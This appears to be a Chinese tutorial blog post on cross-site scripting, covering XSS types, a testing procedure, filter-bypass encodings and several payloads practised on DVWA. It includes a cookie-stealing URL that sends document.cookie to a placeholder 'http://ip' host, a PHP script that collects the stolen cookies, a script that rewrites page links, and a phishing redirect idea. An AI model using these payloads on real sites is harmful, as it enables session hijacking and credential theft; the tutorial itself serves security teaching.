当前位置: 首页 > news >正文

WEB系列(二)-----------XSS

XSS原理及基础

定义

恶意攻击者会往Web页面里插入JS代码,当用户点击网页时.镶嵌的JS代码就会执行,从而达到恶意的特殊目的.

原因

程序对输入和输出的控制不够严格,导致payload输出到前段时被浏览器当做有效代码执行从而产生危害。

分类

  1. 存储型
  2. 反射型
  3. DOM型

测试流程

  1. 目标站点找到输入点,
  2. 输入一组特殊字符+唯一识别字符,点击提交后,查看源码。先看看网页对特殊字符做了哪些过滤。
  3. 通过搜索定位到唯一的字符,确认是否可以构造js的条件
  4. 提交构造的脚本代码,看是否可以成功执行
    tips
  5. 查询接口容易出现反射型XSS,留言板容易出现存储型XSS
  6. 绕过过滤机制

存储型XSS原理

攻击者在页面上插入XSS代码,服务端将数据存入数据库当用户访问到存在XSS漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致XSS代码执行,达到攻击效果.

可能存在的位置:一切用户可以输入的位置

XSS盗取cookie

Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式.Cookie是由Web服务器保存在用户浏览器上的小文本文件.他可以包含有关用户信息.

  1. 存在反射型XSS漏洞的位置,可以利用以下链接来盗取Cookie(dvwa,xss low):
url?uname=<script>document.location='http://ip/cookie.php?cookie='+document.cookie</script>#cookie.php
<?php  
$cookie = $_GET['cookie'];
file_put_contents("cookie.txt", $cookie);
echo "ok";
?>

在这里插入图片描述劫持会话后可以进一步利用漏洞,修改配置文件

XSS篡改网页链接

篡改链接

<script>
window.onload=function(){
var link = document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].herf="http://ip";
}
}
</script>apt-get install beef-xss

###XSS盗取用户信息
克隆网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登录页面,用户输入登录,账号和密码被存储。

主要是用setookie,但是新版的Kali不能用。

探测XSS过程

  1. 构造一个不会被识别成恶意代码的字符串
  2. 查找该字符串的位置。
  3. 构造XSSpayload

属性中的XSS

xss事件
1.鼠标点击相应位置时,触发弹框。

onmouseover=alert(document.domain)>

选择列表的XSS

隐性参数XSS

SVG介绍

SVG意为可缩放矢量图形,使用XML格式定义图像。
可以通过,,,svg标签插入HTML文档。

<svg onload=····>

在这里插入图片描述注入点在一个被隐藏的位置,burp抓包后。
在这里插入图片描述

"><svg /onload=alert(document.domain)>%0a

HTML事件

  1. onlink:当鼠标点击时运行脚本。
  2. ondblclick:当双击鼠标运行脚本
  3. ondrag:当拖动元素时运行脚本
  4. ondragend:当拖动操作结束时运行脚本
  5. ondragenter:当元素被拖动至有效的拖放目标时运行脚本
  6. ondragleave:当元素离开有效拖放目标时运行脚本
  7. ondragover:当元素被拖放至有效目标上方时运行
  8. ondragstart:当拖动操作开始时运行脚本
  9. ondrop:当拖动元素正在被拖放时运行脚本
  10. onmousedown
  11. onmousemove
  12. onmouseout
  13. onmouseover
  14. onmouseup
  15. onmousewheel:当鼠标滚轮时运转
  16. onscroll

空格可以引发属性
在这里插入图片描述## JavaScript伪协议
javascript:js代码

javascript:alert('hello')

在这里插入图片描述伪协议XSS

"><a herf="javascript:alert(document.domain)">xss</a>r经过·html编码
"><a href="java&#115;cript:alert(document.domain)">1</a>

在IE中``可以闭合一个双引号,双写绕过,html编码绕过,unicode编码绕过。

  1. htmlspecialchars():把预定义的字符转换为HTML实体。```&,<,>,',"`````
  2. strip_tags():剥去字符串中HTML,PHP,XML的标签,并不是转换。
  3. htmlentities()可以处理用户输入防止XSS
  4. JS编码:数字形式\u后面加4位16进制数字或\x2位16进制数字
  5. HTML编码:实体编码一般以"&“开头”;“结尾,进制编码通常以”&#“开头加上字符的数值,”;"结尾,字符的数值可以是任意十进制ascii码或者unicode字符编码,十六进制需要在编码前加’x’.@
  6. 进制编码:十进制编码,String.fromChareCode(97,86),十六进制编码(“\x87\x65”),unicode编码(“\u0012\u0045”).
  7. url编码:%+十六进制
    进行编码是为了绕过某些xss_filter

XSS绕过

https://owasp.org/www-community/xss-filter-evasion-cheatsheet

XSS发生的位置

  1. GET:如果在URL中提交的参数中能够在页面中显示,就可能会有XSS。
  2. POST
  3. JSON
  4. 自定义http头中

XSS工具

  1. xsser
  2. xsstrike

相关文章:

WEB系列(二)-----------XSS

XSS原理及基础 定义 恶意攻击者会往Web页面里插入JS代码,当用户点击网页时.镶嵌的JS代码就会执行,从而达到恶意的特殊目的. 原因 程序对输入和输出的控制不够严格&#xff0c;导致payload输出到前段时被浏览器当做有效代码执行从而产生危害。 分类 存储型反射型DOM型 测…...

[python入门㊾] - python异常中的断言

目录 ❤ 断言的功能与语法 ❤ 常用断言 ❤ 常用的断言表达方式 ❤ 异常断言 ❤ 正则断言 ❤ 检查断言装饰器 ❤ 断言的功能与语法 Python assert&#xff08;断言&#xff09;用于判断一个表达式&#xff0c;在表达式条件为 False 的时候触发异常 断言可以在条件…...

一文告诉你什么是财务数据治理?

大家好&#xff0c;我是梦想家Alex&#xff0c;今天是周末&#xff0c;就不给大家分享技术文了&#xff5e;应出版社老师推荐&#xff0c;文末给大家送几本DAMA中国主席力荐&#xff0c;20位行业专家历时2年共同打造的《财务数据治理实战》&#xff0c;将数据治理理论应用于财务…...

MySQL数据库调优————ORDER BY语句

ORDER BY调优的核心原理&#xff0c;原则是利用索引的有序性跳过排序环节 关于ORDER BY语句的一些尝试 我们使用employees表进行尝试&#xff0c;索引情况如下 在执行计划的结果中&#xff0c;Extra里如果存在&#xff0c;Using filesort则表示&#xff0c;排序没有使用到索…...

Linux命令之grep

Linux grep是一个非常强大的文本搜索工具。按照给定的正则表达式对目标文本进行匹配检查&#xff0c;打印匹配到的行。grep命令可以跟其他命令一起使用&#xff0c;对其他命令的输出进行匹配。 grep语法如下&#xff1a; grep [options] [pattern] content 文本检索 grep可以对…...

一起学 pixijs(4):如何绘制文字md

大家好&#xff0c;我是前端西瓜哥&#xff0c;今天我们来学 pixijs 如何绘制文字。pixijs 版本为 7.1.2。 使用原生的 WebGL 来绘制文字是非常繁琐的&#xff0c;pixijs 对此进行了高层级的封装&#xff0c;提供了 Text 类和 BitMapText 类来绘制文字。 Text 最基本的写法&…...

mac m1设备上安装Qt并使用qt编程遇到的问题以及解决方式

# 简介&#xff1a; 首先在M1平台上的程序可以看到有两种架构&#xff0c;分别是intel的&#xff08;x86-64&#xff09;和苹果的m1&#xff08;arm64架构&#xff09;&#xff0c;根据苹果的介绍&#xff0c;当在m1上面运行intel程序的时候使用的是转译的方式运行的&#xff…...

tensorflow 学习笔记(二):神经网络的优化过程

前言&#xff1a; 学习跟随 如何原谅奋力过但无声的 tensorflow 笔记笔记。 本章主要讲解神经网络的优化过程&#xff1a;神经网络的优化方法&#xff0c;掌握学习率、激活函数、损失函数和正则化的使用&#xff0c;用 Python 语言写出 SGD、Momentum、Adagrad、RMSProp、Ada…...

【Java】《Java8 实战》 CompletableFuture 学习

文章目录前言1. 并发(Concurrent) 和 并行(Parallel)1.1 并发的来源1.2 并发技术解决了什么问题2. 并行的来源2.1 并行解决了什么问题3. CompletableFuture 简介4. CompletableFuture 简单应用5. CompletableFuture 工厂方法的应用6. CompletableFuture join() 方法7. 使用 Par…...

Vue3之条件渲染

1.何为条件渲染 条件渲染就是在指定的条件下&#xff0c;渲染出指定的UI。比如当我们显示主页的时候&#xff0c;应该隐藏掉登录等一系列不相干的UI元素。即UI元素只在特定条件下进行显示。而在VUE3中&#xff0c;这种UI元素的显示和隐藏可以通过两个关键字&#xff0c;v-if 和…...

将Nginx 核心知识点扒了个底朝天(四)

为什么 Nginx 不使用多线程&#xff1f; Apache: 创建多个进程或线程&#xff0c;而每个进程或线程都会为其分配 cpu 和内存&#xff08;线程要比进程小的多&#xff0c;所以 worker 支持比 perfork 高的并发&#xff09;&#xff0c;并发过大会榨干服务器资源。 Nginx: 采用…...

设计模式之工厂模式

文章の目录一、什么是工厂模式二、工厂模式有什么用&#xff1f;三、应用场景四、示例1、用字面量的方式创建对象2、使用工厂模式创建对象参考写在最后一、什么是工厂模式 工厂模式是一种众所周知的设计模式&#xff0c;广泛应用于软件工程领域&#xff0c;用于抽象创建特定对…...

80.链表-由来

链表是怎么发展来的 线性表&#xff1a;是n个具有相同特性的数据元素的有限序列。 链表&#xff1a;具有线性存储结构的线性表。 为什么需要使用链表&#xff1f;&#xff08;链表是如何被设计出来的&#xff09; 程序开发最重要的部分是如何在项目程序中找到一种合适的、好…...

元胞自动机

文章目录前言文献阅读摘要主要贡献方法框架实验结论元胞自动机元胞自动机是什么&#xff1f;构成及规则案例及代码实现总结前言 This week,the paper proposes a Multi-directional Temporal Convolutional Artificial Neural Network (MTCAN) model to impute and forecast P…...

设计模式之各种设计模式总结与对比

目录1 目标2 定位3 一句话归纳设计原则4 G0F 23种设计模式简介5 设计模式使用频次总结6 —句话归纳设计模式7 设计模式之间的关联关系和对比1 目标 1、 简要分析GoF 23种设计模式和设计原则,做整体认知。 2、 剖析Spirng的编程思想&#xff0c;启发思维,为之后深入学习Spring…...

JAVA练习55- Fizz Buzz

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、题目-Fizz Buzz 1.题目描述 2.思路与代码 2.1 思路 2.2 代码 总结 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 2月19日练习…...

LeetCode笔记:Biweekly Contest 98

LeetCode笔记&#xff1a;Biweekly Contest 98 1. 题目一 1. 解题思路2. 代码实现 2. 题目二 1. 解题思路2. 代码实现 3. 题目三 1. 解题思路2. 代码实现 4. 题目四 比赛链接&#xff1a;https://leetcode.com/contest/biweekly-contest-98 1. 题目一 给出题目一的试题链接如…...

HNUCM-《算法分析与设计》期末考试考前复习题

问题 A: X星人的地盘题目描述一天&#xff0c;X星人和Y星人在一张矩形地图上玩抢地盘的游戏。X星人每抢到一块地&#xff0c;在地图对应的位置标记一个“X”&#xff1b;Y星人每抢到一块地&#xff0c;在地图对应的位置标记一个“Y”&#xff1b;如果某一块地无法确定其归属则标…...

算法导论【分治思想】—大数乘法、矩阵相乘、残缺棋盘

这里写自定义目录标题分治法概述特点大数相乘问题分治算法矩阵相乘分治算法残缺棋盘分治算法分治法概述 在分而治之的方法中&#xff0c;一个问题被划分为较小的问题&#xff0c;然后较小的问题被独立地解决&#xff0c;最后较小问题的解决方案被组合成一个大问题的解决。 通常…...

Java【七大排序】算法详细图解,一篇文章吃透

文章目录一、排序相关概念二、七大排序1&#xff0c;直接插入排序2&#xff0c;希尔排序3&#xff0c;选择排序4&#xff0c;堆排序5&#xff0c;冒泡排序5.1冒泡排序的优化6&#xff0c;快速排序6.1 快速排序的优化7&#xff0c;归并排序三、排序算法总体分析对比总结提示&…...

JVM——从JIT到AOT:JVM编译器的云原生演进之路

引入 在Java的世界里&#xff0c;一段代码从开发者手中的文本到计算机执行的机器指令&#xff0c;需要跨越"字节码"这座桥梁。而JVM编译器正是架起这座桥梁的工程师&#xff0c;它的每一次技术演进都推动着Java性能的跃迁。从早期逐行翻译的解释器&#xff0c;到智能…...

Excel 批量下载PDF、批量下载考勤图片——仙盟创梦IDE

在办公场景中&#xff0c;借助应用软件实现 Excel 批量处理考勤图片、电子文档与 PDF&#xff0c;具有诸多显著优势。 从考勤图片处理来看&#xff0c;通过 Excel 批量操作&#xff0c;能快速提取图片中的考勤信息&#xff0c;如员工打卡时间、面部识别数据等&#xff0c;节省…...

基于springboot的运动员健康管理系统

博主介绍&#xff1a;java高级开发&#xff0c;从事互联网行业六年&#xff0c;熟悉各种主流语言&#xff0c;精通java、python、php、爬虫、web开发&#xff0c;已经做了六年的毕业设计程序开发&#xff0c;开发过上千套毕业设计程序&#xff0c;没有什么华丽的语言&#xff0…...

JVM学习(七)--JVM性能监控

目录 一、JVM性能监控 1、JVM监控及诊断工具-命令行篇 2、JVM监控及诊断工具-GUI篇 3、JVM运行时参数 一、JVM性能监控 1、JVM监控及诊断工具-命令行篇 面试题&#xff1a; 1、你使用过Java虚拟机性能监控和故障处理工具吗? 2、怎么打出线程栈信息。 3、怎么获取 Jav…...

(八)登录认证与学生写作画像

本次将赵昱琨同学之前完成的学生写作画像与智能学习路径规划的后端与目前已有的后端框架进行整合。同时为了实现学生写作画像与智能学习路径规划&#xff0c;需要在之前简易的登录系统上进行重构&#xff0c;所以本次大规模重写了登录模块&#xff0c;同时发现很多过去冗余的代…...

SMT高速贴片机核心技术深度剖析

内容概要 在智能制造升级背景下&#xff0c;SMT高速贴片机的性能直接影响电子产品的生产效率和可靠性。本文将从微米级贴装精度的实现机制出发&#xff0c;探讨高速运动控制与精准定位的协同优化方案&#xff0c;同时分析视觉系统在多类型元件识别中的动态补偿策略。针对消费电…...

Ubuntu 桌面版忘记账户密码的重置方法

如果你忘记了 Ubuntu 桌面版的用户密码&#xff0c;可以通过进入恢复模式&#xff08;Recovery Mode&#xff09;来重置密码。以下是详细步骤&#xff1a; 一、进入 GRUB 引导菜单 重启计算机&#xff1a;点击关机按钮&#xff0c;选择重启。在启动时按住 Shift 键&#xff1…...

R3GAN利用配置好的Pytorch训练自己的数据集

简介 简介:这篇论文挑战了"GANs难以训练"的广泛观点,通过提出一个更稳定的损失函数和现代化的网络架构,构建了一个简洁而高效的GAN基线模型R3GAN。作者证明了通过合适的理论基础和架构设计,GANs可以稳定训练并达到优异性能。 论文题目:The GAN is dead; long l…...

【nssctf第三题】[NSSCTF 2022 Spring Recruit]easy C

这是题目&#xff0c;下载附件打开是个C文件 #include <stdio.h> #include <string.h>int main(){char a[]"wwwwwww";char b[]"dvxbQd";//try to find out the flagprintf("please input flag:");scanf(" %s",&a);if…...

力扣刷题(第四十四天)

灵感来源 - 保持更新&#xff0c;努力学习 - python脚本学习 删除重复的电子邮箱 解题思路 这个问题要求我们删除表中所有重复的电子邮箱&#xff0c;只保留每个唯一电子邮箱对应的最小id记录。解决这个问题的关键在于识别出哪些记录是重复的&#xff0c;并确定需要删除的…...